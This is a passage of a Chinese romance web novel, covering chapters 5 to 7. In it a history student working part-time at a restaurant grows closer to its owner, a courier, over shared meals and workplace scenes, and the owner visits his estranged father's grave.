“哈哈。”她忍不住干笑一声,没让眼泪滑出眼眶。
她不想为这些事哭,她一向都能把自己的生活处理好的。
她只允许自己惆怅一小会儿,然后就起身去洗把脸,这样才算新的开始。
二楼厕所很小,一个洗手台一面镜子,这还是何嘉被打后第一次见到自己的样子。
黑眼圈有些重,头发乱早早的好像鸡窝,更可恶的是面颊红肿的地方还没有消下去,整个人看上去就是个活脱脱的流浪汉。
她努努嘴很不满意。
好好洗了两遍脸之后,她将长发全都扎成马尾,尽量将碎发拢在一起看上去有精气神些。
做完这些她又回房间将李成杨的被子全都折好,甚至不忘捻起枕头上的发丝,要确保这里恢复原样,不被他讨厌。
时间已经过去半个小时,何嘉收拾好准备去学校一趟。
可才跨出一步就听见门外传来一句类似“victory”的游戏音。
她打开门,探头去看门外的那人。
那人的面孔很生,昨天是没见过的。他戴着一顶厨师帽,正好坐在圆桌旁玩手机,看上去年纪不大,莫约比她年长几岁罢了。
那人放下手机伸了个懒腰,余光突然察觉对面有个脑袋正盯着他,吓得惊叫一声:“卧槽!”
何嘉也被他的声音吓一跳,不自觉后退一步。
他面带疑惑问她:“你谁啊?”
过了一秒又换了个问法:“你是昨天那个来兼职的同学?”
何嘉攥着手机,点头。
他朝她背后的房间看了眼,震惊地问:“那你怎么从那儿出来?”
何嘉老实说:“昨天从派出所回来太晚,老板带我来的。”
“啊?李成杨啊?”厨师帽的脸上突然闪过一丝奇异的神色,“他带你睡那儿?”
何嘉迅速摇头,生怕他误会:“不是的不是的,老板本来说帮我写个宾馆,但我刚欠了他钱,就不想再麻烦他了,是我求他让我在店里待一个晚上的。”
厨师帽笑了一下,问:“难得难得啊,你叫啥名儿?”
“何嘉。”
“哦,我张壅。”
“你要在这儿干多久啊?”张壅朝她推出一个板凳,“你坐会儿呗。”
何嘉本想拒绝,但看他好像挺好相处,于是端起板凳跟他隔了点距离。
“差不多三个月吧。”她说。
他点头,视线在何嘉脸上转了一圈:“哎,我看你看着挺乖的,没想到昨天有那么大一力
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气哈,能把那个闹事的弄流血也算是你本事。”
何嘉汗颜:“赔钱了……”
张壅笑着做出抹脖子的动作,“没事儿,要我也得气得在他身上砍两刀。”
何嘉默默笑了一下。
张姨不知道什么时候站到他们身后,毫不留情地给张壅来了一敲。
“你又在里搞什么东西?”
张壅痛呼一声,伸手去揉脑袋:“你打我干嘛,帽子都给我打瘪了。”
何嘉这才看见他的头发竟然是红色的,倒有点狂放不羁的味道。
张姨也注意到了,指着他连声数落:“你这一天天的给我染的什么鬼东西?都多大人了还像个小孩一样胡搞!”
张壅对何嘉说:“你看她,老年人就不懂欣赏,我这颜色多耀眼好看吧?”
何嘉坐着不敢回答,朝张姨看去。
张姨“哼”了一声,拉起何嘉就走。
“小嘉啊,你一天少理他,他就是不干正事,你和他多说几句别把你时间耽误了。”
何嘉没回答,反而问她:“你们那么熟还都姓张,是亲戚吗?”
张姨叹气:“我儿子,不争气。”
“噢,这样啊。那你们一起在这里做多久了啊?”
“快五年了吧。我们跟老板本来是认识的,张壅在这边炒菜,我平时就帮着招个人再看看店啥的。”
何嘉又问:“昨天的事是不是给老板惹麻烦了?真的不好意思。”
“嗨呀,那算啥。”张姨拍拍她的手背,“没那么大回事儿,你别觉得有什么。店里出事儿也不怪你。今天一早成杨就给我打电话了,说是等会儿找了人来安监控,把每个包间都安上,这样就不怕他们再扯谎了。”
她精准抓住“成杨”两个字问:“老板等会儿也来吗?”
张姨说:“他每天忙得很,估计晚上要下班了才会过来看一眼。”
何嘉想起他那天身穿的工作服,一身灰扑扑的颜色,看上去沉默又疲惫。
她忍不住问:“他一直这么忙吗?又要管快递又要管饭店?”
“唉,”张姨面色惋惜:“他本来不是做这个的,他以前还是个大学生呢,学的好像是个什么?机械制造?还是什么机械工程哦?后来家里有事就开始送快递了,这个饭店是他爸开的,后来就他在管了。”
家里会出什么事情才导致他选择一份和所学知识完全不想干的工作?
何嘉纳闷但是忍住没问,再问就显得自己太八卦了。
张姨只当她问这些是因为欠了李成杨的钱,贴心地补充:“听他昨天说调解赔了点钱,你别担心,成杨好讲话得很,你就是以后有钱了再补上吗,他肯定也不说什么的。”
何嘉尴尬地笑笑:“他昨天也这么说。”
“那就不慌了,这几个月你就安安心心在这边做事,店里几个人都很好相处的。”
“嗯嗯。”
和张姨道别后何嘉准备直接回学校。别的不说,这个饭店位置真是好,开在离学校几步路的位置,每天人流量是不愁了。
她边走边想,路过宿舍楼的时候突然瞥到“信捷快递”的驿站。
她记得这个快递从前都是直接派送到客户手上,只是因为开在学校里就有了一个自己的小驿站。
她摸出手机去看通讯栏,那条好友申请依旧无人理睬。
奇了怪了,难道她认错人了?
不对啊,张姨不也叫他“李成杨”吗?
难道是重名?
她不信邪,哪有那么多重名的。
脚底方向一转,她决定去那个驿站瞧瞧究竟是怎么回事。
5. 第5章
信捷快递没有专属的驿站位置,被学校随意安置在学生宿舍的架空层。
几张铁围挡草草圈出一块空地,里面工整摆放几着几个货架,配上一盏白炽灯,整个地方看上去有序、冰冷,就是还有那么一些艰苦。
何嘉悄悄趴在门口,像早上一样探了个头往里瞧。
几排货架全都满满当当,甚至是按颜色来摆放的,看上去像有强迫症。
她环视一周,每个角落都瞧了一遍,并没有找到快递员的身影。
这个点实在不应该。
人究竟去哪里了?
小姑娘皱皱眉头,仍然不相信这里确实是空无一人。她抬手看了眼时间,已经过了十点,难道是他出去派件了?
何嘉站在那里没走,想再等等。
马路这边的李成杨从超市出来,手上拿着一瓶水,正准备过马路回快递点的时候就看见一个奇怪的身影。
一个女孩支了个头往他的快递站里瞟来瞟去,看上去鬼鬼祟祟的。
这是要干什么?
他站在马路口没动,反而拧开瓶盖喝了起来,眼神一直落在那个女孩身上。
她穿着件黑色的外套,头发很长,全都扎在后脑勺上,人不是很高个子也蛮清瘦,在风里冻着的时候还会跺跺脚。
他一眨眼睛,莫名想起有人也做过这个动作。
哦,他想起来了。
他拧好矿泉水,大步朝她走去。
她却根本没听到脚步声,依旧固执地守在原地。
走到她身后以后,他语气淡淡地说:“等我吗?”
何嘉一个激灵,心脏跳得极快。
一股冷风拂过她的脖颈,让她止不住颤了一下,全身的鸡皮疙瘩都立起来了。
她回头去瞪身后的罪魁祸首,但几乎是看清他的一瞬间又焉了下去,抿着嘴一句话也不说。
“你要取快递?”李成杨径直走进去,把水随意搁在桌子上。
何嘉跟着他走进去,支支吾吾地说:“不是……我没快递。”
李成杨蹲在一堆快递面前,一个一个将它们入库,室内传来一阵“滴”声。
何嘉不知道说什么,索性站在他背后打量他。
还是那身工服,头发硬挺,肤色有点像晒过的麦子,整个人散发着矫健有力的气息,整个人和昨天的疲惫完全不沾边。
“不拿快递,那是要寄快递?”他停下手上的事,突然问她。
何嘉被他看着,心里不知道哪儿来的一点心虚,有些尴尬地开口:“也不是,我是想看看……你是不是那个APP上面的快递员。”
李成杨轻微弯了下嘴角:“那我是吗?”
她抠了抠脸颊,“是。”
“那还有事吗?”他忽然站起身,伸手去勾桌子上的那瓶水。
他拧开瓶盖仰头喝完,吞咽的动作异常清晰。喉结上下滚动几次,带着颈侧略微绷起的青筋,线条贲张又有力。
何嘉盯着那处发愣,睫毛眨了两下。
“不说话?那就是没事,没事就出去吧。”他将空瓶扔向垃圾桶,空中划过一个完美的抛物线。
何嘉蓦然低头,声音像蚊子似的:“你看见我的好友申请了吗?”
李成杨在桌子前的椅子坐下,“什么?”
“就是这个,”何嘉拿出手机给他看,上面是一条好友申请,“你看到了吗?”
她的指尖泛红,大概是冷的。
他只看了一眼就收回视线:“你不取快递,又不寄快递,你加我工作微信干什么?”
她规矩站好,眼神落在他的衣角,落在桌子上的某个细纹,反正就不落在他的视线上。
“我只是昨天碰巧刷到了。”
他没戳破她,只说,“你不寄快递不取快递能刷到我那也很厉害。”
她听出这是反讽,自顾自说:“我就是觉得在那儿见过你,然后我就去查了一下,上面写着你的名字和电话号码呢。”
“然后呢?你加我干嘛?”
“我就是觉得还是应该提前加你的,毕竟…我欠了你不少钱……”
“也行,手机拿过来。”他朝她伸出右手。
“啊?”她不明所以。
他摆摆手:“微信码。早知道这样的话当时直接加上就行了。”
“我也觉得。”还有后半句:不是你说之后再说吗?我不用我专门去搜啦。但是她不敢说,只是默默递出自己的微信码。
他很快扫好她的号码,那个猫咪头像乖乖躺在他的列表里。
何嘉这才发现他用的是私人号,“你有两个微信吗?”
“不然?”他抬眼瞟了她一眼,表情像在说:你真的要问这种奇怪的问题吗?
“噢,”她也不是真的问,只是顺口,“随便问问。”
他还是解释:“工作号对接客户,平时不方便。如果以后店里有事直接发消息,寄快递什么的也可以直接跟我说。”
“好的。”
“还有事?”
“没有了。”
“嗯,那走吧。”他指了指门口,何嘉准备离开的时候,他却又叫住她。
“何嘉。”
“嗯?”她回头看他,头发在风里打了个旋。
“你下午什么时候去店里?”他问。
她答:“五点。”
“张姨都跟你说了要干什么没?”
“说了的。”
“都会了吗?外卖怎么打包的,怎么给单子之类的,你不清楚的就问她,问她儿子也行,人都见过了吧?”
她的眼睛亮晶晶的:“都会了,也都见过了。”
他点点头,很欣慰:“没事了,去吧。”
“拜拜。”她朝他挥手,空气里的尘埃在灯下反光。
他看着她的背影消失在远处,不自觉摇了摇头。
寝室里。
何嘉的另外两个室友都在实习,只留下一个和她一直关系不远不近的室友。
“嗨。”何嘉主动给她打了声招呼。
郑亦然抬头:“你回来了,昨天没回来哦?”
何嘉说:“对的,我兼职遇上点事儿,昨天在外面住的。”
“哦没事吧?”
“没事。”
“嗯,”郑亦然指了指她的桌子,“我今天买了点水果,给你放了一点。”
何嘉顺着去看,自己的桌子上放着半碗颜色有些暗沉的草莓。
她有些不好意思,“这么多啊,谢谢你。”
郑亦然说:“没事,我买多了,一个人也吃不完。”
何嘉朝她一笑:“那我就不客气啦。”
室内忽然陷入一片沉默,何嘉坐在自己的位置上尽力忽视这种奇怪的氛围。
大一的时候她和郑亦然的关系还算不错。
郑亦然性格外向又喜欢开玩笑,整个寝室的人都喜欢她,有时候还会分给何嘉很多贵价水果,所以何嘉也觉得她这人很好。
可是后来郑亦然每次给她的水果,要么是吃剩下的要么是不新鲜的,都好像是她不想要的。
何嘉不是嫌弃她的水果,而是觉得她对自己的态度变得有些傲慢,甚至趋近于施舍。
所以何嘉不再跟她接近,关系就维持表面即可。
现在看到这半碗草莓,何嘉心里有种说不出的感觉,自己明明可以拒绝的,为什么不说呢?
她悄声将那半碗草莓推到一边,心情有些闷闷的。
这一天何嘉都在查开题答辩相关的资料,搜了好几篇答辩框架,总算是心里有了大致方向。
好在自己是学科历史方向,没有选太难写的论题。
收拾好东西,距离五点还有十分钟,从学校走去饭店的时间正好。
或许是赌气之类的,还是有那么点不爽,何嘉直接走了并没有给郑亦然打招呼。
然而人家并不在意。
一到店里,坐在前台的张姨朝何嘉露出个笑容:“来了啊。”
何嘉嘴甜:“张姨好。”
往里走去,有个姓蒋的保洁阿姨也朝她笑笑,人比较内向,日常不怎么讲话,但是非常和善。
“蒋姨好。”何嘉同样向她问好。
蒋姨点点头。
另一方圆桌上坐着上午见过的厨师张壅,和另一
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位姓安的厨师叔叔。
何嘉不晓得该怎么称呼张壅,索性只叫了一声“安叔”。
张壅见她无视自己,不乐意道:“咋的,看不见我呐。”
“嗯……”何嘉故作思索,“我该叫你什么?”
“我肯定比你大啊,你叫哥不就行了。”
“张哥?”她试探着叫。
张壅更不乐意了:“张哥听起来像个办贷款的,叫壅哥。”
何嘉想笑,该说不说还有个张哥办贷款的广告,简直是从小听到大。
张壅啧了一声:“你笑啥,别笑啊。”
“哦,壅哥。”
“这还差不多。”
笑归笑,一声外卖提示音打破空气里的惬意,何嘉迅速撕掉单子,很麻溜地钉在后厨的滑轨上。
张壅问她:“这么熟?你以前也在饭馆兼职过?”
何嘉回答:“对的。”
“那就不奇怪了,”他转头对安叔扬扬头,“走吧叔,来单子了。”
两人迅速带上厨师帽,标志着属于这家餐馆的新一轮战斗就这么开始了。
后厨的夜晚一向忙碌,一盘炒菜通常是猛火爆炒,火焰跳起来超过人的脑袋。
何嘉站在出菜窗口,虽然隔着一层玻璃还是觉得温度灼热,难怪厨师都穿得单薄。
不过两三分钟一盘菜就炒好,她熟练地将它和米饭打包,然后放置到专门的外卖区。
一个穿着外卖服的人很快来拿,路过她的时候嘟囔一句:“来新人了?”
何嘉没来得及接话,他的背影就消失在夜色中。
一个单子来了之后源源不断的单子就来了,何嘉有时候根本来不及送单子然后打包。
十多张单子一一排在滑轨上,里面炒菜的张壅和安叔需要时不时检查有无相同的订单,大多数时候都是张壅在里面快速指挥各自需要做什么菜。
场面紧急,丝毫不允许一丝扭捏。
何嘉有时候慢了两步,张壅还会扯着嗓子吼她:“单子呢?快点快点快点!我刚才下锅了一样的,你动作那么慢等会儿超时了!”
她也不恼他,知道这是工作时间,每一秒都刻不容缓。
店里忙得人不沾地,偏偏又来了两桌堂食。
何嘉和蒋姨主动去给他们倒茶,还没倒完就又来了个外卖单,何嘉只好小跑着回去递单子。
就这么重复来回,打包、上菜,完全没有一点休息时间。
指针指向八点的时候单子骤然变少,她终于有时间坐下来喝口水。
张姨给她递了根干净的毛巾,“累了吧?擦擦汗。”
何嘉接过毛巾说:“谢谢。”
又摇头回答:“不是很累,我之前也做过这种,已经习惯了。”
张姨指了指她的外套:“八点到九点来的单子就少了,你快把外套穿上吧,免得感冒了。”
何嘉照做。
张壅拿着水杯走出后厨,打趣了一句:“免得感冒了~不是我说,我就穿一件,老妈你咋就知道骂我不知道关心我?”
张姨又气又好笑:“你天天的,不跟我斗嘴你屁股痒是不是?”
何嘉在一边默默偷笑。
同一时间,一个身形高挑的男人掀开大门口的塑料门帘。
所有人朝他望去。
一身快递工服,头发剪得短,五官利落又正统,给人的感觉很正派。
李成杨看见几个人都奇怪地盯着他,觉得有些匪夷所思。
难道是自己的出现破坏了他们愉快的氛围?
张壅率先反应过来:“杨哥!你今天怎么过来了?晚上要在这儿吃吗?”
李成杨觉得热,顺手脱掉外套,只穿着一件藏蓝色的毛衣,勾勒出一身结实的肌肉。
他的目光越过人群聚焦在何嘉脸上,尽管她离他最远。
何嘉和他对视一瞬,突然移开目光。
他没再看她,反而回答张壅:“今天在这儿吃。”
“有啥想吃的菜不?”张壅见着他就高兴。
他含糊一句:“随便吧,炒几个你们爱吃的。”
“好嘞。”
6. 第6章
张壅和安叔在厨房忙活一阵总算端出四个菜出来,何嘉见大伙都累了便主动去拿碗。
她想着自己才来这里,总要有眼色,趁机博得一波大家的好感。
桌上摆着一盘回锅肉,小炒牛肉,呛炒土豆丝,还有一份豌豆尖圆子汤,每道菜看看上去都色香味俱全,闻起来很香,是那种用猛火才能炒出来的锅气。
好巧不巧,还正好是她喜欢吃的菜。
何嘉拿碗的时候数了数,加上老板,现在店里一共六个人。
她看了眼四盘菜,原来以为是不够六个人吃的,但每盘菜都是用大碗装的,想必应该是吃不完的。
张姨见她拿着碗站在桌子前,立马接过几只饭碗:“小嘉啊,你不用那么勤快呀,这些我们来就行啊,你等着吃饭就好。”
何嘉笑起来,两个梨涡若隐若现:“没关系,我也是顺手,就一点点事情我做无所谓的。”
张姨猜测她或许生活得有些不容易,所以才要处处看人脸色,心里一片慈爱,看着她的眼神都温柔起来,“好好好,这么好的小妹,乖得很。”
她没接话,依旧笑着帮她布置碗筷。
大伙忙了一晚上,这会儿都纷纷入座。何嘉站在桌子旁迟迟没有坐下。
李成杨从前台起身,慢悠悠地走过来,路过她的时候抬眼,“你站着干嘛?”
何嘉说:“等你过来我再坐。”
李成杨拉开椅子自己坐下,毫不客气地说:“哦,尊老是吧?”
她噎住,“……不是。”
她只是觉得自己才来,不等老板入座就吃饭看着有些没规矩。
她可不是那么没有自知之明的人,况且某些为人处事的道理她从小就懂了。有些嘴上会说没事,但心底会记着你的一举一动,要保证不出错就要事事有眼色。
旁边的张壅看她愣着不坐,指了指自己身边的座位,给她递了个眼神,“哎呀,你老讲究人了,但是我们这里不讲究这些,不用那么见外。”
何嘉被他戳中心事,有些不自然地坐到他身边。
好巧不巧就对着老板的座位。
李成杨没管她,拿起饭桶给自己添了满满一碗饭,大口吃起来。
何嘉也给自己添了一碗饭,尽量压低自己的存在感。
饭桌上几个人除了张姨和张壅爱说话,其他几个都只是默默吃饭。
何嘉的视线飘到那道小炒牛肉上,可惜那道菜离她很远,她想伸手去夹又觉得有些不好意思。
就这么吃了十分钟,她的视线有意无意落在那盘菜上,心里做了好大一番思想斗争。
要是伸那么远去夹会不会不太好?可是又好想吃……
最终她还是觉得面子更重要,实在是不好意思把手伸那么远去夹。
李成杨往嘴里塞了一片牛肉,视线落在她脸上。
她吃饭的时候很紧张,不敢和他对视也不敢去看其他人,像只仓鼠一样只在自己的范围内活动,生怕有人注意到她。
为什么?难道自己看上去很凶?
不应该。
他莫名想到自己像她这么大的时候好像也是这样,不习惯和不熟的人吃饭,总觉得别扭。
或许是出于理解,他大手一推,将那盘牛肉往她的方向推近了一些,确保她能夹到。
“?”
何嘉看着那盘菜突然被他推近,有些不解地盯着他。
他只说一句:“夹不到就说。”
饭桌上其他四个人都齐齐看向他们俩。
而她一下子红了脸颊。
原来他早就看穿她在想什么了……
只是这么一来还不如她忍着不吃呢!真的好尴尬啊!
张姨哈哈大笑,伸手替她夹了一筷子。
“别害羞啊,想吃什么自己夹,夹不到站起来夹也可以啊,就是别见外嘛!我们都好相处的呀!”
何嘉低头着头将牛肉放进嘴里,“谢谢张姨。”
又想起什么,抬头看向李成杨:“谢谢老板……”
他没作声。
坐在她身边的张壅也抬手夹了一筷子牛肉,转头问她:“好吃不,我炒的。”
她很给面子:“好吃的,很好吃。”
“那可不,我的手艺哈,安叔第一那我就排第二,除此之外没有第三了。”
安叔听见自己的名字,朝他俩笑笑。
何嘉只管顺着他说:“嗯嗯,挺好的。”
张壅又夹了两筷子,突然问她:“哎,你读大几啊?”
何嘉回答:“大四了。”
“大四?大四不得准备毕业找实习啥的?不是还要写个什么论文吗?”
“嗯……我最近在准备论文了,实习的话不太着急。”
“怎么?找着了?啥工作?”
“还没找,因为有可能要准备读研。”
“呦,高材生啊,”张壅继续问:“那你学啥专业啊?”
“学历史的。”
“学历史能找个啥工作?考古探墓啊?是不是还能见到古代僵尸?”
何嘉笑了:“不是,我是学的师范。”
张壅作出惊讶的样子:“不得了不得了哦,以后是要出来做老师的啊。”
一旁的张姨跳出来说:“老师好啊,工作多稳定啊,还有寒暑假呢!”
张壅抓住间隙,“那你读研就是为了做老师?”
何嘉说:“对的。现在当老师要求的学历挺高的,要研究生才能当中学老师了。”
“不容易喔。”
“还好。”
何嘉又扒拉了几口米饭,不知不觉已经见底了。她迅速吃完最后几口,有些想起身离席,但是他们都没吃完,于是只好继续坐在原处。
一直没说话的李成杨看了看她的碗,“不吃了?”
她说:“我吃完了。”
他很怀疑:“吃饱了?”
“吃饱了。”
“嗯。”他继续夹菜,“耗子一样。”
“?”何嘉眼里满是迷惑。
他慢悠悠地说:“吃得挺少的,像是吊命。”
她觉得神了,这老板昨天多么慷慨,今天怎么总是说些噎她的话。
何嘉严肃地说:“没有,我吃得挺多的,只是比较快。”
“嗯。”他又不说话了,她也不再看他。
张姨舀了一碗汤,喝了两口想到什么:“小嘉啊,读研好哦,以后出来也能找个高学历的对象,那多好,门当户对的养的小孩智商都高。”
找对象?养小孩?
何嘉一听这话脸颊更红了:“暂时没有这个打算的。”
张姨给她舀了一碗汤:“现在没有以后有啊,你现在该是没有对象吧?”
“没有。”
“那我跟你讲哦,我有个老同学,家里出了个博士嘞!学历高啊,人才又好,我看以后介绍你俩认识多好呢!”
何嘉不说话,心里好想快逃,怎么老一辈的总是喜欢见人就当媒人,赶快结束这个话题吧!
同样正在喝汤的李成杨放下碗筷,咳了一声。
大家闻声朝他看去。
他像没事人一样说:“张姨,人家一小姑娘,大学都没毕业你就给人介绍对象,不好吧。还是个博士,那不得三十多了。”
“啊呀!”张姨一听这话才发现不妥,用力拍了拍自己脑袋,“对对对!你瞧我这说什么呢,小嘉你才二十出头哈,瞧我怎么想到给你介绍个叔叔去了,不合适
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不合适,你以后还是要找个年轻的。”
叔叔?
李成杨在心里默念这两个字,想到自己也是这个年龄就已经被称为叔叔了?
他轻嗤一声,直起身抽了两张纸,擦了嘴之后率先离席。
何嘉不知怎么的,突然盯着他的背影发神。
老板今年多大了?
只想了半秒更觉得不妥,摇摇头看向张姨:“我觉得一个人就挺好的,找不找对象都差不多的。”
张姨还没来得及回答,旁边的张壅就说:“哎,你那是没遇上合适的,你跟我年龄差不多大啊,你喜欢啥样的?我朋友挺多的,各种样式的都有,包你满意。”
这话在何嘉耳里怎么听都不是那么合法呢。
她喝完最后一口汤,铁了心拒绝:“不用了,我是真没那个想法,现在一个人真的很好。”
“好吧。”他没了兴致,起身去后厨开始涮锅。
一直不说话的蒋姨将一桌子碗筷收好,张姨同她一起把碗洗了,两个人有一搭没一搭地聊天。
何嘉坐在另一方圆桌上开始发呆。
这一顿饭吃下来还算顺利,如果张姨他们不提给她介绍对象的事就更好了。
不过可喜可贺的是,这家饭馆里的伙计果然真的和蔼可亲,每个人都非常好相处。
距离下班时间还有二十分钟,何嘉摸出了上午的答辩稿,准备趁这档空隙整理整理。
李成杨恰好从二楼下来,看了眼时间又看了看坐在圆桌旁的姑娘。
她的头发垂在肩上,有几根发丝贴在还没恢复的左脸上,发尾有些轻微泛黄,可能是营养不良。
他又看了看她的侧脸,鼻梁小巧秀致,睫毛不是特别长,但眼睛水灵灵的。如果脸上没有那天被打的痕迹,应该是个年轻又惹人喜欢的女孩。
这一点有好有坏,但总的来说和他没有关系。
“下班吧。”
他走下楼梯,声音从何嘉的头顶上传来。
她抬头对上他的视线,只见他的毛衣在灯光下泛着微蓝的光亮,显得他整个人非常柔和。
和她初次见他的时候一模一样。
她指向墙上的时钟,对他说:“我还没到下班时间呢。”
20:45
还有十五分钟才下班。
他不明白她这人怎么什么都那么较真。
轻微皱眉,低头看她:“你做什么都那么规矩?”
“嗯?”她不知道他什么意思。
他摇头表示无语:“让你走就走,没单子了就走。”
她不动,“可是万一十五分钟内有单子了呢?我的工时还没结束。”
他被她的逻辑折服:“你很喜欢上班么?”
“也不是。”
“那就走。我们这儿规矩不严,也不是什么压榨员工的地方,都让你走了,早点回去早点休息。”
何嘉慢吞吞地点头:“噢,谢谢老板。”
等她背着背包离开的时候,还不忘回头看看店里的几个人。
张姨和蒋姨朝她微笑挥手,李成杨坐在前台玩手机。
她的视线留在他身上,犹豫了几秒还是抬手对他打了个招呼,“老板再见。”
李成杨抬头,一下子想到什么。
他知道了。这个姑娘有一套自己的礼数系统,不完成的话可能要在心里焦虑一天。
比如在无人的夜里一遍一遍回想:不打招呼就走会不会太不礼貌了?这样不会被讨厌吧?要不然还是应该打个招呼吧?
他懒得猜她究竟是不是这么想的,随口回应了一句:“走吧,拜拜。”
她微微一笑,嘴角的两个梨涡可以盛起几滴清泉。
“拜拜。”
7. 第7章
余川这几天骤降几度,风里有了刺骨的寒意,仔细去看路旁的野草,叶子由青转黄,上面浮着一层薄薄的白霜。
路边的树枝孤零零地站在人迹罕至的街道旁,无人注目,独自凛冽。
这是和以往都截然不同的冬天。
“景山公墓”每座墓碑旁都种了一棵柏树,在严冬十分依旧长青,也许是象征生命的延续,也许也没有真正意味着什么。
李成杨掏出一方干净的帕子,弯腰蹲在其中一座墓碑前。
他慢慢擦掉墓碑上的灰尘,没有表情地注视墓碑上的照片。
那是一张黑白相片,里面是一个微笑着的男人,他看着有些胖,面相竟和弥勒佛有些相似。
往下看,他的名字被大写加粗。
李建峰。
李成杨默默开了一瓶二锅头,替他满上一杯,搁置在他的墓前。
他没有说话,也不想说话。
他这次来还带着一个人,正是饭店的厨师张壅。
张壅接过他手里的白酒,给自己也倒了一杯。
“师父,你在那边好不?”
无人回应,他的声音消散在风里。
“我一直在杨哥的饭店工作,”他喝掉那杯白酒,继续说,“以前你开店的时候说我技术不行,以后绝对不会招我。现在怎么着?杨哥招我了,我现在炒菜也算是有点水平了。你在那边放心,杨哥把店打理得很好。”
李成杨站起来,目光一直很冷漠。
张壅又陆陆续续对李建峰说了些话,差不多喝了半瓶二锅头。
“走吧。”李成杨不让他再喝。
张壅收好酒瓶又点了根烟,等烟燃尽了才跟着李成杨离开。
回市区的路上两个人都很沉默。
李成杨手握方向盘,转头盯了张壅一眼。
“喝多没?”
张壅瘫在副驾上,笑了:“就半瓶怎么可能多?就是有点累了。”
“嗯,没多就行。”
两个人又安静下来。
张壅两只手搓了搓面颊,脸色变得通红。
虽然没醉,酒精还是上脸了。
他有些坐立不住,几次想说些什么又开不了口,还小心打量几眼李成杨的脸色。
“有话就说。”李成杨向来不喜欢墨迹。
张壅咽了口口水,声音支支吾吾的:“杨哥……你还在怪他?”
李成杨没有立马回答,反而是转头看了张壅一眼。
眼神静静的,看不出心情。
张壅试探着替他回答:“你还在恨他。可是他都走了那么多年了……他终究是你爸啊。你……”
李成杨打断:“他是不是我爸我都不会原谅他。”
“可是你每年这个时候都来看他,”张壅不理解,“你心里怪他,但是你终归是心软的。”
“呵,”他轻笑,“我来看他是提醒他不要忘了自己以前做了什么,别以为死了就安生了。”
张壅还想说什么,但李成杨没给他机会。
“张壅,你是他徒弟,你感激他我不阻拦,但是我们家里面的事,没有那么简单的。”
张壅苦涩点头,还是忍不住说:“我十五岁之后就去读职高学炒菜,要不是师父带我,我也不晓得现在能干什么,但是我真不知道他是那样的人……”
“睡觉吧。”李成杨不想再说这个话题,“你困了,安静点。”
张壅终于是把没说完的话咽在肚子里,车内恢复平静。
回到市区的时候才早上八点,李成杨没管张壅去哪,反正他要回学校的快递站。
他要工作,他需要工作,需要工作将他的生活全都填满,让他没有时间再去想那些缥缈的东西。
张壅站在路旁抽烟,一根又一根,烟雾将他整个人都包围起来。
他看着李成杨扬长而去的背影,很困惑。他不理解李成杨这种不缺钱不缺房的人,那么拼命工作,甚至同时干两份工作到底是因为什么?
烟雾越飘越远,成了雾霾一直笼罩在学校上空。
学生们忙着赶早八,主干道上全是拿着早餐的学生。
一片人黑压压的,现在年轻人都喜欢穿黑色,习惯把自己隐匿在人群里获得安全感。
何嘉也是他们之中的一员。
她已经大四,按理说不再有专业课,也可以睡到日上三竿再起床,但她今天想去找个空教室准备论文的事。
反正在寝室里准备不行,她有些受不了郑亦然总是有意无意打探她在做什么,那样让她觉得浑身难受。
她找了一间离宿舍楼最近的教室,由于没有人气,室内的空气冷得她打了个喷嚏。
她没再想别的,打开电脑开始专注手上的事。
如今已经是2018年的一月初,她得在三月之前交初稿,时间不短也不长。
她选的论题方向是《历史教育理论与方法研究》,总之又要包含历史专业性又要论证与之相关的教育原理。
这个专业她是很喜欢的,有一部分原因是王丽琼想让她当老师,而她也很乐意。
当老师多好呀,工资稳定又有寒暑假,虽然可能会遇上难缠的学生和家长,但这个选择对她来说已经是最好的了。
再想到王丽琼,不知道她还能不能坚持到自己当上老师那一天。
唉。一想到她,何嘉就有些眼眶湿润,那是她从小跟着的阿婆,如今因为病痛就要上天堂了。
她拿出手机查了查今年的春节日期,在2月16号。
“今年春节一定要早点回去看阿婆。”何嘉收起情绪,暗暗决定道。
时间一分一秒过去,何嘉将注意力全都收到面前的电脑里,除了喝水基本上没抬过头。
又是查资料又是看导师建议,这么一忙再次抬头都是三个小时以后了。
太阳慢悠悠地冲出云层,气温却仍旧不高。
一缕阳光洒在窗户上,泛起一点金色的反光。雾霾消失不见,世界重归清净。
何嘉撑着脑袋往外瞧,一点阳光打在她脸上。
这个时间点学生们都在上课,主干道上没有几个人。
她抬眸看向树上的小鸟,有几只麻雀从这棵树的枝头飞到另一棵树的树梢,灵活又可爱。
视线往下,一辆三轮车突然冲进她的视线。
那车行驶得不算快,车身还贴着“信捷”两个大字。
是快递车啊。
是快递车?
何嘉的视线紧紧盯在那辆三轮上,细细一看,里面开车的那个人是……
老板?
她感到很惊奇,老板竟然看着快递三轮上班。但是想想好像也没问题,送快递的不开三轮开什么?
总之不能开自己的车吧。
李成杨坐在驾驶位,眉毛一皱,周身一股戾气,他的眼神并不温和,看向远处的时候更像是怨气。
配上他墨黑的眉眼和粗壮的躯体,整个人不像是去上班,反而像是要去干架的。
路过一个路口,他离教学楼越来越近,临近的时候突然转头往这边盯了一眼,何嘉看到了他的表情。
一瞬微怔,他看见教室里坐了一个小人儿。她的发丝在太阳下染上金光,小脸呆呆的,左脸的伤痕早就长好了,洁白的肌肤上有一些同样金色的绒毛。
他迟疑了一阵,很快就反应过来她的身份,但是没有过多停留,依然黑着脸开走三轮车。
何嘉的目光追随着他,摸摸鼻子不知道他做什么。
阳光隔断阴影,他驶入灰暗的区域,直到看不见那个小车影。
他今天心情不好?
何嘉回想上次见他的情景,大概过了十天吧,这期间他没来吃过饭,那天他还说她像耗子呢……他虽然不像第一次见面那么温和,但也不至于这种表情吧?
算了算了,她再次埋头,窗外景色与她无关。
一直写到五点,学校的铃声打破她的思绪。
何嘉突然想起现在已经是兼职时间了!
她慌七忙八地收拾好东西,朝饭馆一路狂奔。
抵达饭店的时候正好是五点十分。
“我来晚啦,不好意思。”
今天张姨没来,只有蒋姨招呼她:“没事,来单子了,你快去吧。”
“好的!”
何嘉迅速扯下单子往后厨走,张壅和安叔正在炒上个单子的菜品。
“喏。”何嘉把单子递给张壅。
张壅伸手接过,没跟她讲话。
“嗯?”何嘉觉得奇怪。
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张壅平时最喜欢讲话了,这些天每次见面都要跟她打招呼的,今天却一声不吭,有问题。
不过今天是怎么了?怎么他和老板都不高兴的样子?
“小嘉,又来单子了。”蒋姨在外面提醒她。
“来了——”何嘉一边回应一边往外走。
接下来的单子让她应接不暇,根本没有时间去想刚才的问题。
